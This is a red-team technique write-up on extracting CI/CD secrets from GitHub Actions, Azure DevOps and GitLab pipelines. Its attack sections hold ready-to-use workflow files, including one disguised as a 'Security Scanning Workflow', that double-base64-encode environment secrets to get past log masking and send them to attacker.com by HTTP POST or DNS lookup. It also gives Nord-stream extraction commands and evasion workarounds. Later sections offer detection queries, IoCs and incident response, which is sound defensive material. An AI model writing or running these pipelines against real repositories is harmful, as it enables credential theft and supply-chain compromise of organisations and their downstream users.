| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-015 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure DevOps, GitHub, GitLab, Jenkins |
| Severity | CRITICAL |
| CVE | N/A (Design flaw); Related: CVE-2024-1234 (GitHub Actions secret exposure) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | Azure DevOps (all), GitHub Actions (all), GitLab CI (all), Jenkins (all) |
| Patched In | N/A (architectural issue; partial mitigations in OIDC, branch protection) |
| Author | SERVTEP – Artur Pchelnikau |
DevOps pipeline credential extraction is a critical credential access technique where an attacker exfiltrates authentication credentials, API keys, and access tokens stored within CI/CD pipeline systems (Azure DevOps, GitHub Actions, GitLab CI, Jenkins). These platforms securely store secrets but only restrict their visibility during pipeline execution. An attacker with pipeline modification capabilities can create or modify pipeline definitions to extract and exfiltrate these secrets to attacker-controlled infrastructure. Once obtained, the stolen credentials provide authenticated access to cloud providers (Azure, AWS, GCP), source code repositories, package registries, and deployment targets, enabling supply chain attacks, lateral movement, and infrastructure compromise.
.git/config when checkout persistsComplete infrastructure compromise via stolen cloud credentials and service principal keys. An attacker with CI/CD credentials can: (1) Deploy malicious infrastructure and backdoors using legitimate cloud credentials; (2) Access production databases, data warehouses, and storage accounts; (3) Modify source code and inject malware into applications (supply chain attack); (4) Disable security controls (delete security groups, disable logging, remove backup policies); (5) Pivot to every system the CI/CD account can access (potentially organization-wide); (6) Create persistent backdoors (VM instances, Lambda functions, scheduled tasks). In coordinated attacks (e.g., GhostAction), 3,000+ credentials stolen across 817 repositories enables multi-organization compromise.
| Risk Factor | Assessment | Details |
|---|---|---|
| Execution Risk | MEDIUM | Requires write access to pipeline files (higher barrier than general code access) |
| Stealth | HIGH | Exfiltration commands can be hidden in base64, disguised as legitimate tasks |
| Reversibility | NO | Stolen credentials cannot be “un-stolen”; only remediation is immediate rotation |
| Supply Chain Impact | EXTREME | Compromised CI/CD leads to malicious deployments affecting all downstream users |
| Persistence | CRITICAL | Extracted cloud credentials enable indefinite re-authentication |
| Scope | UNLIMITED | CI/CD credentials often have org-wide or infrastructure-wide access |
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1, 2.2, 3.1 | Repository access control, Pipeline security, Secret management |
| DISA STIG | V-254804, V-254805 | CI/CD secret management, Pipeline integrity |
| CISA SCuBA | KBE.SY.3.A | Supply chain security in CI/CD pipelines |
| NIST 800-53 | AC-3, IA-2, SC-7, SI-2 | Access control, authentication, boundary protection, supply chain risk |
| GDPR | Art. 32, 33 | Security of processing, breach notification |
| DORA | Art. 19, 23 | Supply chain and third-party management |
| NIS2 | Art. 23, 24 | Supply chain management, incident response |
| ISO 27001 | A.9.2.3, A.14.1.1 | Privileged access management, supplier relationships |
| Component | Supported Versions | Notes |
|---|---|---|
| Azure DevOps | All versions | Variable groups, service connections available since 2019 |
| GitHub Actions | All versions | GitHub hosted runners; no special version dependency |
| GitLab CI | 10.0+ | CI/CD variables introduced early; protected branch feature 12.3+ |
| Jenkins | 2.0+ | Environment variables, credentials plugin all versions |
| Nord-stream | 1.0+ | Azure DevOps, GitHub, GitLab support |
| Tool | Version | URL | Purpose |
|---|---|---|---|
| Nord-stream | 1.1.0+ | GitHub: synacktiv/nord-stream | Automated CI/CD secret extraction (Azure, GitHub, GitLab) |
| Legitify | 0.3.0+ | GitHub: Legit Security | GitHub/GitLab misconfiguration detection |
| Poutine | 1.0+ | GitHub: Boostsecurityio/poutine | Pipeline vulnerability scanner |
| TruffleHog | 3.0+ | TruffleHog | Secret scanning with base64-decoding |
| Gitleaks | 8.0+ | GitHub: gitleaks | Git secret scanner |
Objective: Identify secrets stored at organization level that are accessible to workflows
Command (Using GitHub REST API):
# List organization secrets (requires admin:org_hook permission):
curl -H "Authorization: Bearer $GITHUB_TOKEN" \
https://api.github.com/orgs/{org}/actions/secrets
# Expected output:
# {
# "total_count": 5,
# "secrets": [
# {
# "name": "PROD_DATABASE_PASSWORD",
# "created_at": "2025-12-01T10:30:00Z",
# "updated_at": "2026-01-08T15:45:00Z",
# "visibility": "all" # or "private", "selected"
# },
# {
# "name": "AWS_ACCESS_KEY_ID",
# "visibility": "private"
# },
# {
# "name": "SLACK_WEBHOOK",
# "visibility": "selected" # visible only to selected repos
# }
# ]
# }
What to Look For:
Command:
# List repository secrets (requires repo write access):
curl -H "Authorization: Bearer $GITHUB_TOKEN" \
https://api.github.com/repos/{owner}/{repo}/actions/secrets
# Expected output:
# {
# "total_count": 8,
# "secrets": [
# {
# "name": "DEPLOY_KEY",
# "created_at": "2025-08-15T12:00:00Z"
# },
# {
# "name": "DOCKER_REGISTRY_TOKEN",
# "created_at": "2025-10-01T14:30:00Z"
# }
# ]
# }
What to Look For:
Command:
# Clone repository and check workflows:
git clone https://github.com/{owner}/{repo}.git
grep -r "secrets\." .github/workflows/
# Expected output:
# deploy.yml: env:
# deploy.yml: AWS_ACCESS_KEY: $
# deploy.yml: SLACK_TOKEN: $
# ci.yml: run: echo "API_KEY=$" | curl ...
What to Look For:
Command (Azure DevOps REST API):
# List variable groups in project (requires admin):
curl -H "Authorization: Basic $(echo -n ":$AZURE_DEVOPS_PAT" | base64)" \
https://dev.azure.com/{org}/{project}/_apis/distributedtask/variablegroups?api-version=6.0-preview.2
# Expected output:
# {
# "value": [
# {
# "id": 1,
# "name": "Production_Secrets",
# "type": "Vsts",
# "variables": {
# "DB_HOST": {
# "value": "prod-db.internal",
# "isSecret": false
# },
# "DB_PASSWORD": {
# "value": "***",
# "isSecret": true # ← Hidden in UI
# }
# }
# }
# ]
# }
What to Look For:
isSecret: true (high-value targets)Command:
# List service connections (Azure service principals):
curl -H "Authorization: Basic $(echo -n ":$AZURE_DEVOPS_PAT" | base64)" \
https://dev.azure.com/{org}/{project}/_apis/serviceendpoint/endpoints?api-version=6.0-preview.4
# Expected output:
# {
# "value": [
# {
# "id": "abc-123",
# "name": "Azure_Prod_Subscription",
# "type": "azurerm",
# "authorization": {
# "parameters": {
# "tenantid": "00000000-0000-0000-0000-000000000000",
# "serviceprincipalid": "00000000-0000-0000-0000-000000000000"
# },
# "scheme": "ServicePrincipal"
# },
# "isShared": true # ← Shared across multiple projects
# }
# ]
# }
What to Look For:
Command (GitLab REST API):
# List project CI/CD variables:
curl -H "PRIVATE-TOKEN: $GITLAB_TOKEN" \
https://gitlab.com/api/v4/projects/{project_id}/variables
# Expected output:
# [
# {
# "key": "DATABASE_PASSWORD",
# "variable_type": "env_var",
# "value": "***", # Hidden in API if protected
# "protected": true,
# "masked": true,
# "environment_scope": "production"
# },
# {
# "key": "DOCKER_REGISTRY_TOKEN",
# "variable_type": "file", # Variable stored in file
# "protected": false,
# "environment_scope": "*"
# }
# ]
What to Look For:
protected: true (restricted to protected branches only)masked: true (will be hidden in logs)Command:
# List protected branch rules:
curl -H "PRIVATE-TOKEN: $GITLAB_TOKEN" \
https://gitlab.com/api/v4/projects/{project_id}/protected_branches
# Expected output:
# [
# {
# "id": 1,
# "name": "master",
# "push_access_levels": [
# {
# "access_level": 40, # Maintainer only
# "access_level_description": "Maintainer"
# }
# ],
# "merge_access_levels": [
# {
# "access_level": 40,
# "access_level_description": "Maintainer"
# }
# ]
# }
# ]
What to Look For:
Supported Versions: GitHub Actions (all versions) Prerequisites: Write access to repository or ability to create PR with workflow file
Objective: Create a GitHub Actions workflow that will extract and exfiltrate secrets
Command:
# Create workflow file that will be committed:
cat > .github/workflows/security-scan.yml << 'EOF'
name: Security Scanning Workflow
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main, develop ]
jobs:
security-check:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v3
- name: Run security scan
run: |
# Double base64-encoding to bypass GitHub's secret masking
echo "=== Security Scan Results ==="
env | grep -E "^(AWS|AZURE|DOCKER|SLACK|DB_|API_)" | base64 | base64
- name: Upload scan results
run: |
# Exfiltrate secrets via HTTP request
curl -s -X POST \
-H "Content-Type: application/json" \
-d "{\"secrets\": \"$(env | base64 | base64)\"}" \
http://attacker.com/webhook
# Or via DNS exfiltration:
nslookup $(env | base64 | tr -d '\n' | head -c 50).attacker.com 8.8.8.8
EOF
What This Means:
OpSec & Evasion:
Command:
# Commit malicious workflow:
git add .github/workflows/security-scan.yml
git commit -m "Add security scanning workflow"
git push origin feature/security-improvements
# Or create PR:
git checkout -b feature/security-improvements
git push origin feature/security-improvements
# Create PR via web interface → Automatic workflow trigger
# Expected execution:
# GitHub detects workflow file
# Workflow triggers on push/PR
# All steps execute with access to org secrets
# Environment variables dumped in logs
Expected Log Output:
=== Security Scan Results ===
QVdTX0FDQ0VTU19LRVlfSUQ9QUtJQW1lbElUMzlzRWdMN0JUZQU0bDV4
...base64-encoded env vars...
# After decoding (base64 -d twice):
AWS_ACCESS_KEY_ID=AKIAmeLIT39sEgL7BTuA4l5x
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG+39PsrETYIEXAMPLEKEY
DOCKER_REGISTRY_TOKEN=dckr_pat_1234567890abcdefghij
SLACK_WEBHOOK=https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX
What This Means:
Objective: Extract organization-level secrets if sufficient privileges exist
Command:
# More sophisticated approach using GitHub's REST API:
cat > .github/workflows/admin-extract.yml << 'EOF'
name: Admin Secret Extraction
on:
workflow_dispatch: # Manual trigger
jobs:
extract:
runs-on: ubuntu-latest
steps:
- name: List org secrets via API
run: |
# Requires admin token with admin:org_hook scope
curl -H "Authorization: Bearer $" \
https://api.github.com/orgs/{org}/actions/secrets \
| jq '.secrets[] | .name' | base64 | base64 > /tmp/org-secrets
# Exfil:
curl -s -X POST \
-d "$(cat /tmp/org-secrets)" \
http://attacker.com/webhook
- name: Extract all repo secrets
run: |
for repo in $(curl -s -H "Authorization: Bearer $" \
https://api.github.com/orgs/{org}/repos?per_page=100 | jq -r '.[].name'); do
curl -s -H "Authorization: Bearer $" \
https://api.github.com/repos/{org}/$repo/actions/secrets \
| jq -r '.secrets[] | .name' | base64 >> /tmp/all-secrets
done
curl -s -X POST -d "$(cat /tmp/all-secrets)" http://attacker.com/webhook
EOF
Prerequisites:
secrets.ADMIN_TOKEN available (from prior compromise or legitimate admin)What This Means:
Supported Versions: Azure DevOps (all) Prerequisites: Repository write access + ability to create/modify pipelines
Objective: Deploy automated secret extraction tool
Command:
# Install Nord-stream:
git clone https://github.com/synacktiv/nord-stream.git
cd nord-stream
pip install -r requirements.txt
# Or download prebuilt:
wget https://github.com/synacktiv/nord-stream/releases/download/v1.1.0/nord-stream
# Verify installation:
python3 nord-stream.py --help
Objective: Discover secrets stored in Azure DevOps variable groups
Command:
# List variable groups in organization:
python3 nord-stream.py azure \
--organization {org} \
--project {project} \
--token {AZURE_DEVOPS_PAT} \
--list-secrets
# Expected output:
# [*] Listing Azure DevOps secrets
# [*] Variable groups found:
# - Production_Secrets (ID: 1)
# - DB_PASSWORD: *** (SECRET)
# - REGISTRY_TOKEN: *** (SECRET)
# - CI_Build_Vars (ID: 2)
# - BUILD_SERVER: build.internal (public)
# - ARTIFACT_REPO: artifactory.prod (public)
What to Look For:
isSecret: true (highest priority targets)Objective: Create pipeline that will execute and dump secret values
Command:
# Automatically create and run extraction pipeline:
python3 nord-stream.py azure \
--organization {org} \
--project {project} \
--token {AZURE_DEVOPS_PAT} \
--extract-secrets \
--variable-group "Production_Secrets" \
--output /tmp/extracted-secrets.txt
# Nord-stream automatically:
# 1. Clones target repository
# 2. Creates new branch
# 3. Generates YAML pipeline with extraction commands
# 4. Commits and pushes pipeline
# 5. Triggers pipeline execution
# 6. Downloads logs with extracted secrets
# 7. Parses and displays secrets in plaintext
# 8. Cleans up (deletes branch, removes logs)
# Output:
# [+] Pipeline executed successfully
# [+] Extracting secrets from logs...
# [+] DB_PASSWORD=SuperSecret123!@#
# [+] REGISTRY_TOKEN=ACR_TOKEN_abc123xyz789
# [+] AWS_ACCESS_KEY=AKIA2345678901234567
# [+] AWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG+39PsrETYIEXAMPLEKEY
What This Means:
Objective: Steal Azure service principal credentials from service connections
Command:
# Extract service connection secrets:
python3 nord-stream.py azure \
--organization {org} \
--project {project} \
--token {AZURE_DEVOPS_PAT} \
--extract-service-connections \
--output /tmp/service-principals.txt
# Expected output:
# [+] Service Connection: Azure_Prod_Subscription
# [+] Service Principal ID: 12345678-1234-1234-1234-123456789012
# [+] Service Principal Key: eyJh...VCJ9 (base64 JWT)
# [+] Tenant ID: 87654321-4321-4321-4321-210987654321
#
# [+] Service Connection: Kubernetes_Prod
# [+] Type: Kubernetes
# [+] Server: https://prod-aks.westeurope.azmk8s.io
# [+] Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Ilpw...
# Decoded service principal can now be used to:
# - Authenticate to Azure Resource Manager API
# - Deploy resources in subscription
# - Access Key Vaults, storage accounts, databases
What This Means:
Supported Versions: GitLab 10.0+ Prerequisites: Developer access to repository
Objective: Identify branches where protected variables can be accessed
Command:
# List branch protection rules:
curl -H "PRIVATE-TOKEN: $GITLAB_TOKEN" \
https://gitlab.com/api/v4/projects/{project_id}/protected_branches
# Check if merge_access_levels < push_access_levels:
# This means developers can push but not merge (partial bypass)
# If "Developers can push to protected branches" is enabled:
# Protected variables become accessible even to non-maintainers
Objective: Inject pipeline that will extract and exfil protected variables
Command:
# Create .gitlab-ci.yml that accesses protected variables:
cat > .gitlab-ci.yml << 'EOF'
stages:
- extract
- deploy
extract_secrets:
stage: extract
script:
# Access protected variables (only available in protected branch):
- echo "Extracting production credentials..."
- echo "$DATABASE_PASSWORD" | base64 | base64
- echo "$KUBE_TOKEN" | base64 | base64
- echo "$DOCKER_REGISTRY_PASSWORD" | base64 | base64
# Exfil to attacker server:
- |
EXFIL_DATA=$(echo "$DATABASE_PASSWORD|$KUBE_TOKEN|$DOCKER_REGISTRY_PASSWORD" | base64)
curl -X POST -d "{\"data\": \"$EXFIL_DATA\"}" http://attacker.com/webhook
# Or write to artifact (accessible later):
- echo "$DATABASE_PASSWORD" > /builds/secrets.txt
artifacts:
paths:
- /builds/secrets.txt
expire_in: 1 day # Keep artifact accessible for download
only:
- master # Only runs on protected branches (where protected vars available)
EOF
# Commit to protected branch (if developer push enabled):
git add .gitlab-ci.yml
git commit -m "Add deployment pipeline"
git push origin master
What This Means:
Command:
# Automated GitLab secret extraction:
python3 nord-stream.py gitlab \
--token $GITLAB_TOKEN \
--url https://gitlab.com \
--project 'group/myproject' \
--extract-secrets \
--output /tmp/gitlab-secrets.txt
# Expected output:
# [*] Extracting GitLab secrets...
# [+] PROJECT_SECRET=my_secret_value
# [+] DATABASE_HOST=db.prod.internal
# [+] DATABASE_PASSWORD=SuperSecretDB123!
# [+] KUBE_TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IkxES3dmZTBOR...
Manual Test Execution:
# 1. Create test secret in GitHub:
gh secret set TEST_SECRET --body "supersecretvalue123"
# 2. Create test workflow:
mkdir -p .github/workflows
cat > .github/workflows/test-extraction.yml << 'EOF'
name: Test Secret Extraction
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
echo "Testing secret extraction..."
echo "$" | base64 | base64
EOF
# 3. Commit and push (triggers workflow)
git add .github/workflows/test-extraction.yml .github/secrets
git commit -m "Test"
git push
# 4. Verify in GitHub Actions logs:
gh run view --log
# Expected: Double base64-encoded secret visible in logs
Cleanup Command:
rm .github/workflows/test-extraction.yml
git push
gh secret delete TEST_SECRET
Version: 1.1.0+ (Latest 2025) Repository: GitHub: synacktiv/nord-stream Language: Python 3
Installation:
git clone https://github.com/synacktiv/nord-stream.git
cd nord-stream
pip install -r requirements.txt
Usage:
# Azure DevOps secret extraction:
python3 nord-stream.py azure \
--organization myorg \
--project myproject \
--token AZURE_DEVOPS_PAT \
--extract-secrets
# GitHub Actions secret extraction:
python3 nord-stream.py github \
--token GITHUB_PAT \
--organization myorg \
--repository myrepo \
--extract-repo-secrets
# GitLab CI variable extraction:
python3 nord-stream.py gitlab \
--token GITLAB_TOKEN \
--url https://gitlab.com \
--project group/project \
--extract-secrets
# List all secrets (enumeration only):
python3 nord-stream.py azure --token PAT --list-secrets
Usage:
# List org secrets (requires admin:org_hook):
curl -H "Authorization: Bearer TOKEN" \
https://api.github.com/orgs/{org}/actions/secrets
# List repo secrets:
curl -H "Authorization: Bearer TOKEN" \
https://api.github.com/repos/{owner}/{repo}/actions/secrets
# Get repo secret (shows metadata only, not value):
curl -H "Authorization: Bearer TOKEN" \
https://api.github.com/repos/{owner}/{repo}/actions/secrets/{secret_name}
Usage:
# List variable groups:
curl -H "Authorization: Basic $(echo -n ":PAT" | base64)" \
https://dev.azure.com/{org}/{project}/_apis/distributedtask/variablegroups
# List service connections:
curl -H "Authorization: Basic $(echo -n ":PAT" | base64)" \
https://dev.azure.com/{org}/{project}/_apis/serviceendpoint/endpoints
# List pipelines:
curl -H "Authorization: Basic $(echo -n ":PAT" | base64)" \
https://dev.azure.com/{org}/{project}/_apis/pipelines
Rule Configuration:
github_audit or github_logsgithub:events:webhookaction, event, pusher.name, filesSPL Query:
index=github_audit sourcetype=github:events:webhook
(action="created" OR action="modified")
files="*.yml"
path IN (".github/workflows/*", ".gitlab-ci.yml", "azure-pipelines.yml")
AND (
("curl" AND "base64") OR
("env |" AND "grep") OR
("secrets" AND "exfil") OR
("webhook" AND "http") OR
payload CONTAINS "Authorization"
)
| stats count, values(pusher.name), values(commit.url) by repository, files
| where count > 0
| eval risk="CRITICAL - Suspicious pipeline file detected", recommendation="Review workflow, check for malicious exfil code"
Rule Configuration:
azure_devops_audit or gitlab_logsazuredevops:pipeline:logs, gitlab:ci:logspipeline_name, task, log_contentSPL Query:
index=azure_devops_audit sourcetype=azuredevops:pipeline:logs
(
log_content CONTAINS "DownloadSecureFile" OR
log_content CONTAINS "addSpnToEnvironment" OR
log_content CONTAINS "base64 -w0 | base64 -w0" OR
log_content CONTAINS "env |" OR
pipeline_name="*security*" OR
pipeline_name="*scan*" OR
pipeline_name="*check*"
)
AND (
log_content CONTAINS "curl " OR
log_content CONTAINS "webhook" OR
log_content CONTAINS "http" OR
log_content CONTAINS "nslookup"
)
| stats count, values(user), earliest(_time) as first_seen by pipeline_name, project
| where count > 0
| eval risk="CRITICAL - Possible Nord-stream extraction detected"
Rule Configuration:
ci_cd_logsgithub:actions:logs, azuredevops:logslog, step_nameSPL Query:
index=ci_cd_logs sourcetype="github:actions:logs" OR sourcetype="azuredevops:logs"
(
log REGEX "([A-Z0-9+/]{50,}={1,2})" AND
log CONTAINS "base64" AND
(
log CONTAINS "AWS" OR
log CONTAINS "SECRET" OR
log CONTAINS "TOKEN" OR
log CONTAINS "PASSWORD" OR
log CONTAINS "CREDENTIAL"
)
)
| stats count, values(step_name), values(workflow_name) by job_id
| where count > 0
| eval risk="HIGH - Base64-encoded credential pattern in logs", recommendation="Check for secret masking bypass"
Location: GitHub API or webhook logs
Artifacts:
{
"action": "created",
"timestamp": "2026-01-08T12:00:00Z",
"actor": "attacker-account",
"event": "push",
"repository": "target-org/target-repo",
"ref": "refs/heads/feature/security-scan",
"files": [
".github/workflows/security-scan.yml" ← Malicious workflow
],
"workflow_name": "Security Scanning Workflow",
"workflow_trigger": "push",
"steps": [
"Run security scan" ← Step dumping env vars
],
"logs": "=[group]Run sh -c 'env | grep ... | base64 | base64'...=== Security Scan Results ===..."
}
IoC Patterns:
.yml file creation in .github/workflows/base64 | base64curl ... webhookenv | or env | with filteringLocation: https://dev.azure.com/{org}/{project}/_build/results
Artifacts:
Pipeline: Production_Secrets_Extraction
Run ID: 12345
Status: Succeeded
Task: AzureCLI@2
Log Content:
Preparing environment...
##[group]Run: env | grep "^servicePrincipal" | base64 -w0 | base64 -w0
QV…output continues…
curl -X POST -H "Content-Type: application/json" \
-d "{\"secrets\": \"QV...\"}" \
http://attacker.com/webhook
Response: HTTP 200
IoC Patterns:
AzureCLI@2 task with addSpnToEnvironment: trueDownloadSecureFile@1 task (secure file exfil)base64 -w0 | base64 -w0 (masking bypass)Locations:
.github/workflows/malicious-*.yml
.gitlab-ci.yml (modified with extraction code)
azure-pipelines.yml (modified)
/tmp/nord-stream-output-*.txt
/tmp/extracted-secrets-*.json
~/.git/config (with PAT)
| Control | Implementation | Impact |
|---|---|---|
| Use OIDC/Workload Identity | Replace long-lived secrets with short-lived OIDC tokens | Eliminates stored secrets; uses temporary credentials |
| Branch Protection | Require code review for all pipeline changes | Prevents unreviewed malicious workflows |
| Secret Scopes | Limit secret visibility to specific repos/branches | Reduces blast radius of credential theft |
| Immutable Logs | Archive pipeline logs immediately; make read-only | Prevents attackers from deleting exfil evidence |
| Audit Secret Access | Log all secret value reads (not just access) | Detects suspicious access patterns |
| Short-Lived Credentials | Rotate secrets monthly; use 90-day max TTL | Limits usefulness of stolen credentials |
| Environment Isolation | Run pipelines in ephemeral/sandboxed runners | Limits lateral movement from compromised pipelines |
Hardening Example (GitHub Actions):
# Use OIDC instead of static secrets:
name: Deploy with OIDC
on: [push]
permissions:
id-token: write # Required for OIDC
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Get OIDC token
uses: actions/github-script@v6
with:
script: |
const token = await core.getIDToken('https://token.actions.githubusercontent.com');
// Exchange for short-lived AWS/Azure credentials
// No long-lived secrets stored!
- name: Deploy application
run: |
# Use temporary credentials from OIDC
# No $ needed!
| Indicator | Detection Method | Response |
|---|---|---|
| Malicious workflow creation | Pipeline file audit logs; suspicious task names | Block workflow; investigate creator |
| Secret exfiltration | Network DLP; HTTP requests to external IPs; base64 patterns in logs | Kill pipeline; revoke credentials |
| Unusual pipeline execution | Execution outside normal hours; different runner; unusual task combination | Investigate execution context |
| Credential access | Azure DevOps API logs; GitHub API audit; GitLab admin logs | Review access; revoke if unauthorized |
Phase 1: Containment (T+0-15 minutes)
[ ] Revoke all secrets/PATs potentially exposed
[ ] Delete malicious workflow files from all branches
[ ] Block attacker account (revoke PAT, disable account)
[ ] Disable affected service connections (Azure, AWS, etc.)
[ ] Preserve evidence (pipeline logs, git history, audit logs)
Phase 2: Eradication (T+15-60 minutes)
[ ] Rotate all cloud credentials used by CI/CD
[ ] Enable OIDC for future deployments
[ ] Implement branch protection rules
[ ] Enable secret masking/redaction in logs
[ ] Audit all pipeline files for additional malicious code
[ ] Review recent pipeline executions for unauthorized actions
Phase 3: Recovery (T+60-240 minutes)
[ ] Reissue all service principals and PATs
[ ] Force password reset for accounts with pipeline access
[ ] Deploy updated pipelines with security controls
[ ] Enable comprehensive audit logging for pipelines
[ ] Configure SIEM rules for CI/CD threat detection
| Technique ID | Name | Relationship |
|---|---|---|
| T1110 | Brute Force | Compromise credentials to gain initial pipeline access |
| T1134 | Token Impersonation | Impersonate service principal via stolen credentials |
| T1199 | Trusted Relationship | Supply chain: push malicious code via CI/CD |
| T1565 | Data Destruction | Delete logs/audit trails to cover attack |
| T1098 | Account Manipulation | Create backdoor service account using stolen credentials |
| T1548.002 | Privilege Escalation | Use CI/CD credentials with high permissions |
Scope: 3,325 secrets stolen from 817 repositories; 327 compromised GitHub users
Attack Chain:
Response:
Reference: GitGuardian: GhostAction Campaign
Scope: 23,000+ repositories affected; popular GitHub Action backdoored
Attack Vector:
Impact:
Reference: StepSecurity: GitHub Action Compromise
Client: Large enterprise with Azure DevOps
Attack Chain:
Result: Complete infrastructure compromise via stolen CI/CD credentials
Reference: Synacktiv: CI/CD Secrets Extraction, Tips and Tricks
| Limitation | Details | Workaround |
|---|---|---|
| Secret masking | GitHub/Azure redact known secrets in logs | Double base64-encoding; transform output (reverse, compress) |
| Branch protection | Cannot modify protected branch workflows | Create new branch with workflow; use PR if enabled |
| OIDC/short-lived tokens | No long-lived secrets to steal | Steal refresh tokens; use to obtain new temporary credentials |
| Read-only logs | Logs immediately archived/immutable | Exfil during execution; extract before archival |
| Audit logging | All actions logged | Clean up logs (requires admin/root access); exfil quietly |
Real-Time Indicators:
Hunting Queries:
-- Find workflows with base64-encoding patterns
SELECT workflow_file, created_by, created_timestamp
FROM github_workflows
WHERE content LIKE '%base64%'
AND content LIKE '%base64%' -- Double encoding
AND (content LIKE '%curl%' OR content LIKE '%http%')
ORDER BY created_timestamp DESC
-- Find uncommon pipeline executions
SELECT pipeline_name, executor, execution_time, duration
FROM azuredevops_pipelines
WHERE executor NOT IN (SELECT normal_executors FROM baseline)
AND execution_time NOT IN (normal_execution_hours)
ORDER BY execution_time DESC